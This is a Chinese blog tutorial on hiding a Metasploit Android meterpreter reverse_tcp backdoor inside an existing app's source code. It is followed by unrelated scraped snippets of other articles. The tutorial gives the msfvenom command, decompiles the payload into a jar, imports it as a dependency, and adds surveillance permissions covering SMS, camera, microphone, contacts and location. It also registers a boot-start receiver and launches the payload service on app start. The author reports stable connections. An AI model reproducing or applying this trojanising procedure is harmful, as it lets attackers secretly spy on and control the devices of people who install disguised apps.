添加Metasploit-payload到已有的Android项目中
metasploit在写这篇文章之前,笔者可以说是对java一窍不通,也从来没有写过什么Android应用,在几天的摸爬滚打中终于实现了最终的目的,就是在已有Apk源码的情况下,用了比较另类的方式,添加metasploit后门。
同时支持java/scala两种语言写的项目,主要是为了给大家提供一些思路,如果哪里写的不准确,欢迎指正。
可能有人说,目前已经有各种各样的工具,比如backdoor-apk能够感染已编译好的Apk文件,但是经过笔者的测试,这种被感染后的文件使用起来不是很稳定,而且apktool本身有缺陷,导致很多apk反编译后无法重新编译。所以,既然有源码,为何要生成apk后再注入后门?
payload分析
首先使用msfvenom生成一个payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk
使用apktool与dex2jar反编译:
apktool d payload.apk
d2j-dex2jar payload.apk
最后用jd-gui打开d2j-dex2jar生成出的payload-dex2jar.jar

结合AndroidManifest.xml分析源码后发现,Payload的服务为com.metasploit.stage.MainService,启动服务的方式有两种,一个是主Activity(android.intent.action.MAIN),也就是点击程序图标后运行的Activity,另一个是接收android.intent.action.BOOT_COMPLETED,也就是开机自动启动服务。


启动服务的代码为
MainService.startService(context);
也就是说,只要把启动服务的代码添加到项目源码中的相应位置,就可以实现添加后门。
笔者首先想将反编译后的java源码直接添加到项目中,但无奈编译不成功,在网上查找相关资料后发现,jd-gui反编译的jar文件本身就有问题,只能做参考。
如果直接用github上payload的源码,又不知道Payload的配置串是如何加密的。
最后突然想到,既然dex2jar已经将payload转换为了jar文件,那直接将jar作为依赖包导入到工程中不就行了。
导入jar包
Android Studio
拷贝payload-dex2jar.jar到app/libs目录下
打开app目录下的build.gradle,在dependencies中添加compile files(‘libs/payload-dex2jar.jar‘)
Sbt/scala
拷贝payload-dex2jar.jar到lib目录下下
修改AndroidManifest.xml
选择性添加添加以下权限
可以根据需要,选择性的添加所需要的权限
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-feature android:name="android.hardware.microphone" />
添加服务
<service android:name="com.metasploit.stage.MainService" android:exported="true" />
添加开机启动
如果需要添加开机启动,则必须添加android.permission.RECEIVE_BOOT_COMPLETED权限。
<receiver
android:name="com.metasploit.stage.MainBroadcastReceiver"
android:label="MainBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
修改源码,启动服务
java与scala相同,定位到Main Activity所在的文件中,添加import
import com.metasploit.stage.MainService;
在Activity的onCreate方法中,添加
MainService.startService(this);


编译、签名、测试
编译与签名的环节就略过了,最终的测试结果非常满意,无论是打开程序运行与开机自动运行都成功,并且连接很稳定

后记
通过导入jar包的方式添加后门也算是另类的方式了吧,不过也算很方便了,jar包只要生成一次,就可以当做一个依赖包添加到所有Android项目中。当然一定还有更好的方法,本文只是提供一个思路。
同时提醒大家留意来路不明的Apk文件,防止被安装后门,信息安全不容小视。
添加Metasploit-payload到已有的Android项目中的更多相关文章
- 打开已存在 Android项目及常见的问题
Eclipse 打开已存在 Android项目及常见的问题 1. 点击菜单“File”-- "Import",会弹出 Import 对话框: 2, 选择“General ...
- eclipse无法导入已有android项目
问题: 今天发现我拷贝的一个android项目无法导入到eclipse,但是其它的已有android项目却可以导入 思路 现在网络这么流行,当然是上网查,得益于eclipse无法导入Android工程 ...
- 关于如何正确地在android项目中添加第三方jar包
在android项目中添加第三方jar包虽然不是一个很复杂的问题,但是确实给很多开发者带来了不小的困扰.我自己就曾经碰到过calss not found exception.error inflati ...
- android项目中如何加载已有so库 <转>
1,在项目根目录下建立文件夹libs/armeabi文件夹 2,将so库放入 libs/armeabi文件夹 注意事项: 1,如果采用静态注册的方式请注意C文件中严格按照命名规则 Java_packa ...
- 在已有 Xcode 项目中 加入Cordova框架
转自:http://www.jianshu.com/p/656838ae92bc 我们知道,在UIKit中的UIWebView虽然已经提供了很多功能了,比如JavaScript和Objc之间的通信.但 ...
- Android项目中如何用好构建神器Gradle?(转)
最近在忙团队并行开发的事情,主要是将各个团队的代码分库,一方面可以降低耦合,为后面模块插件化做铺垫,另一方面采用二进制编译,可以加快编译速度.分库遇到了一些问题,很多都要通过Gradle脚本解决,所以 ...
- Android项目中JNI技术生成并调用.so动态库实现详解
生成 jni方式有两种:一种是通过SWIG从C++代码生成过度的java代码:另一种是通过javah的方式从java代码自动生成过度的C++代码.两种方式下的步骤流程正好相反. 第一种方式:由于需要配 ...
- android项目中配置NDK自动编译生成so文件
1 下载ndk开发包 2 在android 项目中配置编译器(以HelloJni项目为例) 2.1 创建builer (a)Project->Properties->Builder ...
- Android 项目中文件夹的说明与作用(转)
(转自:http://blog.csdn.net/goodshot/article/details/11529731) Android 项目中文件夹的作用 1. src:存放所有的*.java源程序. ...
随机推荐
- firefox无法使用yslow的解决方案
首先,Yslow不支持firefox 36及以上版本. 解决方案:使用yslow的书签版本 使用方法:1.访问这里 http://yslow.org/mobile/ 2.把页面最后的那个 Deskto ...
- 学习了php之后再来看php怎样学java
我用了一天时间学会了php,真的.我现在已经可以流畅的用thinkphp框架开发php了.学习过程是这样的:我接了个php的项目,包括两个部分:老系统添加功能和优化,再新做一个系统.已经答应给人家做了 ...
- 一键部署Kubernetes高可用集群
三台master,四台node,系统版本为CentOS7 IP ROLE 172.60.0.226 master01 172.60.0.86 master02 172.60.0.106 master0 ...
- 关于ng-class的用法
ng-class的使用几种方式 (1):利用双向数据绑定(className根据chang2的值去匹配类) <div class="{{className}}">... ...
- JavaWeb之session
Session是服务器端技术 利用这个技术,服务器在运行时可以为每一个用户的浏览器创建一个其独享的session对象,由于session为用户浏览器独享,所以用户在访问服务器的web资源时,可以把各自 ...
- c++内存优化:二级间接索引模式内存池
/********************************************************* 在一些不确定内存总占用量的情形下,频繁的使用new申请内存,再通过链表 进行索引似 ...
- 老李分享: 并行计算基础&编程模型与工具 1
老李分享: 并行计算基础&编程模型与工具 在当前计算机应用中,对高速并行计算的需求是广泛的,归纳起来,主要有三种类型的应用需求: 计算密集(Computer-Intensive)型应用,如 ...
- 通过php动态传数据到highcharts
1:在平时工作中,在对数据进行展示的时候,是直接通过后台提供的接口来获取json串,用来展示.今天别人问怎么在本地演示一下请求的动态数据. 2:在本地搭建环境,我用的WampServer,下载地址:h ...
- Activity间传递数据
1.从当前的Activity传递数据到下一个Activity: (1)发送方(当前的Activity): Bundle bundle = new Bundle(); bundle.putString ...
- jquery判断邮箱对错
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
